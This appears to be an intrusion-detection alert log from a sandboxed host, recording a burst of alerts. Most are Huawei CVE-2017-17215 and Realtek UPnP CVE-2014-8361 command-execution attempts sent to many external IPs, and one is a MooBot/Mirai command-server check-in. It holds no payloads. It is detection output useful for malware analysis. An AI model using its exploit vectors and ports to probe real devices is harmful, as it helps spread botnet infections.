07/20/24-23:01:34.902184	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48516	52869	192.168.2.14	100.167.118.103
07/20/24-23:01:05.582077	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47482	52869	192.168.2.14	118.44.218.190
07/20/24-23:01:33.044521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35302	37215	192.168.2.14	41.175.70.101
07/20/24-23:01:33.294979	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33466	52869	192.168.2.14	76.246.195.163
07/20/24-23:01:05.898116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45848	37215	192.168.2.14	211.171.110.94
07/20/24-23:01:34.935674	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59818	52869	192.168.2.14	95.58.16.105
07/20/24-23:01:19.221345	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37768	37215	192.168.2.14	103.11.232.170
07/20/24-23:01:25.484225	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56500	52869	192.168.2.14	106.139.202.117
07/20/24-23:01:32.153595	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45336	52869	192.168.2.14	173.48.24.57
07/20/24-23:01:29.567553	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43538	52869	192.168.2.14	75.5.28.91
07/20/24-23:01:07.700270	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43818	37215	192.168.2.14	77.253.158.6
07/20/24-23:01:31.100640	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34868	52869	192.168.2.14	193.243.213.199
07/20/24-23:01:14.401421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52052	37215	192.168.2.14	201.115.243.108
07/20/24-23:01:13.329660	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44492	52869	192.168.2.14	202.140.60.188
07/20/24-23:01:05.895933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51850	37215	192.168.2.14	65.171.178.93
07/20/24-23:01:11.467529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43220	37215	192.168.2.14	41.179.24.29
07/20/24-23:01:25.230451	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44858	37215	192.168.2.14	41.216.142.146
07/20/24-23:01:28.208110	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44970	37215	192.168.2.14	157.25.38.227
07/20/24-23:01:33.159213	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52504	52869	192.168.2.14	40.169.74.201
07/20/24-23:01:06.348845	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35828	52869	192.168.2.14	60.154.99.20
07/20/24-23:01:37.124220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52088	37215	192.168.2.14	197.119.1.224
07/20/24-23:01:11.478031	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38848	37215	192.168.2.14	157.57.98.16
07/20/24-23:01:07.676384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48138	37215	192.168.2.14	41.197.206.221
07/20/24-23:01:19.224550	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45096	37215	192.168.2.14	197.170.165.51
07/20/24-23:01:14.399761	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52466	37215	192.168.2.14	197.178.113.254
07/20/24-23:01:05.901568	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36072	37215	192.168.2.14	41.234.82.81
07/20/24-23:01:05.892501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57212	37215	192.168.2.14	128.197.81.243
07/20/24-23:01:34.911249	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48460	52869	192.168.2.14	47.7.230.238
07/20/24-23:01:19.235468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35708	37215	192.168.2.14	197.133.74.148
07/20/24-23:01:29.181762	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39664	52869	192.168.2.14	207.154.52.96
07/20/24-23:01:02.407178	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35292	37215	192.168.2.14	197.196.172.22
07/20/24-23:01:34.939612	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40636	52869	192.168.2.14	52.100.4.60
07/20/24-23:01:05.892501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56196	37215	192.168.2.14	197.160.79.126
07/20/24-23:01:33.070886	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38604	37215	192.168.2.14	174.244.149.60
07/20/24-23:01:19.334799	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57120	37215	192.168.2.14	53.120.126.237
07/20/24-23:01:28.200134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36806	37215	192.168.2.14	197.192.85.228
07/20/24-23:01:25.343749	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45794	52869	192.168.2.14	211.77.142.174
07/20/24-23:01:11.474688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40740	37215	192.168.2.14	197.129.87.164
07/20/24-23:01:32.953021	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53022	52869	192.168.2.14	169.172.43.160
07/20/24-23:01:19.231228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49392	37215	192.168.2.14	41.94.156.130
07/20/24-23:01:25.231733	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37616	37215	192.168.2.14	157.137.64.242
07/20/24-23:01:34.040722	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54198	52869	192.168.2.14	192.84.42.215
07/20/24-23:01:06.160718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58720	52869	192.168.2.14	41.70.70.158
07/20/24-23:01:11.459583	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60258	37215	192.168.2.14	41.7.26.252
07/20/24-23:01:28.219332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50868	37215	192.168.2.14	157.248.221.244
07/20/24-23:01:19.224455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34386	37215	192.168.2.14	157.207.11.247
07/20/24-23:01:14.396954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54350	37215	192.168.2.14	197.137.138.229
07/20/24-23:01:29.534125	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35360	52869	192.168.2.14	175.5.152.252
07/20/24-23:01:05.920730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47026	37215	192.168.2.14	41.206.151.131
07/20/24-23:01:29.460572	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40618	52869	192.168.2.14	42.119.93.45
07/20/24-23:01:11.468893	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40980	37215	192.168.2.14	197.53.34.158
07/20/24-23:01:19.222257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37720	37215	192.168.2.14	197.54.31.152
07/20/24-23:01:19.222257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50912	37215	192.168.2.14	41.237.27.139
07/20/24-23:01:28.170987	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37948	37215	192.168.2.14	157.42.64.187
07/20/24-23:01:29.170017	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34626	52869	192.168.2.14	39.30.35.11
07/20/24-23:01:05.900314	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47644	37215	192.168.2.14	157.239.188.37
07/20/24-23:01:25.231151	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45168	37215	192.168.2.14	197.126.75.92
07/20/24-23:01:32.452250	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51456	52869	192.168.2.14	180.166.72.99
07/20/24-23:01:11.459583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57296	37215	192.168.2.14	41.92.68.76
07/20/24-23:01:37.158916	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45266	37215	192.168.2.14	45.166.78.170
07/20/24-23:01:11.454990	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39360	37215	192.168.2.14	197.110.14.102
07/20/24-23:01:07.680463	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34978	37215	192.168.2.14	157.233.145.134
07/20/24-23:01:25.295701	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60962	37215	192.168.2.14	41.251.165.245
07/20/24-23:01:06.565386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45982	52869	192.168.2.14	40.224.141.14
07/20/24-23:01:37.122448	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45434	37215	192.168.2.14	41.123.27.175
07/20/24-23:01:25.283485	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42134	52869	192.168.2.14	194.223.113.142
07/20/24-23:01:25.502173	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54070	52869	192.168.2.14	1.52.127.148
07/20/24-23:01:02.410155	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38906	37215	192.168.2.14	60.250.175.203
07/20/24-23:01:25.283565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51948	37215	192.168.2.14	197.54.252.192
07/20/24-23:01:05.838650	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45678	52869	192.168.2.14	141.224.95.108
07/20/24-23:01:07.682291	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55420	37215	192.168.2.14	221.20.1.26
07/20/24-23:01:33.567010	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36664	52869	192.168.2.14	206.125.101.194
07/20/24-23:01:07.664911	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58758	37215	192.168.2.14	197.226.130.147
07/20/24-23:01:34.923717	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60396	52869	192.168.2.14	59.201.11.124
07/20/24-23:01:33.050087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35104	37215	192.168.2.14	157.85.49.34
07/20/24-23:01:33.069192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48726	37215	192.168.2.14	210.203.32.204
07/20/24-23:01:05.901568	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52910	37215	192.168.2.14	157.200.153.251
07/20/24-23:01:13.334387	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39470	52869	192.168.2.14	171.144.139.139
07/20/24-23:01:13.334552	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37954	52869	192.168.2.14	8.188.8.56
07/20/24-23:01:11.483526	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44808	37215	192.168.2.14	197.56.108.56
07/20/24-23:01:13.328744	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59564	52869	192.168.2.14	177.133.134.55
07/20/24-23:01:29.187581	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47946	52869	192.168.2.14	58.199.141.7
07/20/24-23:01:05.897173	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38902	37215	192.168.2.14	9.1.245.191
07/20/24-23:01:05.892501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56030	37215	192.168.2.14	212.61.76.50
07/20/24-23:01:25.230811	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39922	37215	192.168.2.14	41.241.8.230
07/20/24-23:01:11.460861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45892	37215	192.168.2.14	41.147.178.141
07/20/24-23:01:07.676384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54290	37215	192.168.2.14	217.24.35.60
07/20/24-23:01:14.396888	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50932	37215	192.168.2.14	207.38.237.179
07/20/24-23:01:13.331420	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46272	52869	192.168.2.14	181.129.237.7
07/20/24-23:01:37.120446	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42260	37215	192.168.2.14	41.219.238.228
07/20/24-23:01:22.792913	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55434	37215	192.168.2.14	157.53.255.157
07/20/24-23:01:33.081951	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58390	37215	192.168.2.14	41.39.61.29
07/20/24-23:01:06.227443	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44250	52869	192.168.2.14	47.67.168.49
07/20/24-23:01:14.401003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49994	37215	192.168.2.14	41.107.232.37
07/20/24-23:01:19.233507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33770	37215	192.168.2.14	157.216.80.38
07/20/24-23:01:37.199306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47198	37215	192.168.2.14	197.229.109.215
07/20/24-23:01:02.413580	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53338	37215	192.168.2.14	37.3.189.109
07/20/24-23:01:07.676384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38528	37215	192.168.2.14	157.27.100.110
07/20/24-23:01:34.911761	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51648	52869	192.168.2.14	100.194.218.244
07/20/24-23:01:34.929652	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51604	52869	192.168.2.14	174.193.181.196
07/20/24-23:01:37.160288	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52374	37215	192.168.2.14	174.254.226.195
07/20/24-23:01:34.899868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59132	52869	192.168.2.14	119.229.5.254
07/20/24-23:01:13.331144	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60488	52869	192.168.2.14	59.126.120.18
07/20/24-23:01:34.903669	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46846	52869	192.168.2.14	135.89.106.236
07/20/24-23:01:11.478031	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50980	37215	192.168.2.14	184.194.94.116
07/20/24-23:01:05.895754	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49922	37215	192.168.2.14	197.216.107.62
07/20/24-23:01:25.298710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51308	37215	192.168.2.14	13.174.229.65
07/20/24-23:01:22.766451	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43998	37215	192.168.2.14	42.61.239.97
07/20/24-23:01:24.075466	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42398	52869	192.168.2.14	178.190.243.0
07/20/24-23:01:22.781976	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48446	37215	192.168.2.14	197.227.132.38
07/20/24-23:01:37.128294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60936	37215	192.168.2.14	157.237.48.108
07/20/24-23:01:25.285323	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34064	37215	192.168.2.14	197.52.180.202
07/20/24-23:01:02.411076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58282	37215	192.168.2.14	90.241.170.10
07/20/24-23:01:05.898116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58062	37215	192.168.2.14	157.85.25.154
07/20/24-23:01:05.895886	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37374	37215	192.168.2.14	197.57.156.185
07/20/24-23:01:11.461274	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34598	37215	192.168.2.14	18.78.130.138
07/20/24-23:01:02.409131	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37444	37215	192.168.2.14	197.108.206.182
07/20/24-23:01:23.163830	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34758	52869	192.168.2.14	107.71.221.19
07/20/24-23:01:19.220572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45714	37215	192.168.2.14	41.129.69.142
07/20/24-23:01:02.412791	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58652	37215	192.168.2.14	197.70.43.24
07/20/24-23:01:02.415804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45326	37215	192.168.2.14	41.156.215.126
07/20/24-23:01:37.227564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55158	37215	192.168.2.14	197.14.167.217
07/20/24-23:01:28.222987	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33168	37215	192.168.2.14	197.135.10.205
07/20/24-23:01:05.893596	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43336	37215	192.168.2.14	157.39.247.83
07/20/24-23:01:11.477507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43684	37215	192.168.2.14	197.27.41.248
07/20/24-23:01:33.060990	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54422	37215	192.168.2.14	197.104.19.192
07/20/24-23:01:33.071289	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54352	37215	192.168.2.14	41.19.62.203
07/20/24-23:01:37.120506	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55836	37215	192.168.2.14	157.250.52.44
07/20/24-23:01:05.561402	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48354	52869	192.168.2.14	5.217.173.216
07/20/24-23:01:11.448569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32960	37215	192.168.2.14	218.209.252.220
07/20/24-23:01:37.166003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43180	37215	192.168.2.14	197.158.191.66
07/20/24-23:01:25.507121	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43544	52869	192.168.2.14	125.128.116.127
07/20/24-23:01:02.412914	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34686	37215	192.168.2.14	113.163.100.190
07/20/24-23:01:29.189808	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52218	52869	192.168.2.14	183.162.94.65
07/20/24-23:01:14.444926	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51074	37215	192.168.2.14	197.213.218.227
07/20/24-23:01:19.225050	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58530	37215	192.168.2.14	118.202.81.69
07/20/24-23:01:33.056745	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53834	37215	192.168.2.14	157.23.166.123
07/20/24-23:01:34.937254	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38308	52869	192.168.2.14	120.128.124.111
07/20/24-23:01:05.551661	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60452	52869	192.168.2.14	91.209.91.142
07/20/24-23:01:25.290247	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51894	37215	192.168.2.14	41.91.139.227
07/20/24-23:01:06.196910	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45164	52869	192.168.2.14	188.154.109.67
07/20/24-23:01:14.401421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38152	37215	192.168.2.14	197.22.29.48
07/20/24-23:01:29.537701	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55456	52869	192.168.2.14	87.184.45.167
07/20/24-23:01:22.777005	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59040	37215	192.168.2.14	197.157.192.147
07/20/24-23:01:03.923524	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	38412	2466	192.168.2.14	15.235.203.214
07/20/24-23:01:25.230742	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58672	37215	192.168.2.14	83.126.62.152
07/20/24-23:01:34.927371	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51196	52869	192.168.2.14	162.145.238.215
07/20/24-23:01:34.909518	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45700	52869	192.168.2.14	143.76.5.38
07/20/24-23:01:02.408596	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48950	37215	192.168.2.14	197.136.233.151
07/20/24-23:01:29.198098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57072	52869	192.168.2.14	106.139.202.117
07/20/24-23:01:02.410932	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40186	37215	192.168.2.14	41.115.1.213
07/20/24-23:01:05.897173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50408	37215	192.168.2.14	197.248.165.153
07/20/24-23:01:05.902118	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54668	37215	192.168.2.14	157.70.127.19
07/20/24-23:01:13.335386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37858	52869	192.168.2.14	58.141.211.31
07/20/24-23:01:02.411645	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47630	37215	192.168.2.14	197.228.255.157
07/20/24-23:01:33.036114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40892	37215	192.168.2.14	41.67.158.129
07/20/24-23:01:34.931386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56628	52869	192.168.2.14	175.184.156.103
07/20/24-23:01:14.401421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53922	37215	192.168.2.14	197.245.85.153
07/20/24-23:01:22.788405	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46534	37215	192.168.2.14	175.255.8.55
07/20/24-23:01:25.289824	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56816	37215	192.168.2.14	157.253.233.93
07/20/24-23:01:07.674222	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53470	37215	192.168.2.14	197.44.21.237
07/20/24-23:01:25.284909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52796	37215	192.168.2.14	41.148.240.97
07/20/24-23:01:33.139994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49682	37215	192.168.2.14	130.18.46.46
07/20/24-23:01:33.271159	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57060	52869	192.168.2.14	14.235.67.126
07/20/24-23:01:25.278709	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54742	37215	192.168.2.14	41.196.34.7
07/20/24-23:01:37.122448	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35374	37215	192.168.2.14	197.155.250.14
07/20/24-23:01:34.920163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58920	52869	192.168.2.14	208.213.201.22
07/20/24-23:01:22.801376	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59654	37215	192.168.2.14	41.18.5.168
07/20/24-23:01:22.782671	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60196	37215	192.168.2.14	41.207.13.93
07/20/24-23:01:28.175716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53146	37215	192.168.2.14	197.63.149.130
07/20/24-23:01:24.075435	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40352	52869	192.168.2.14	157.94.246.106
07/20/24-23:01:07.346484	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47988	52869	192.168.2.14	165.198.120.17
07/20/24-23:01:11.467529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50608	37215	192.168.2.14	162.227.65.152
07/20/24-23:01:33.040755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40772	37215	192.168.2.14	178.99.199.57
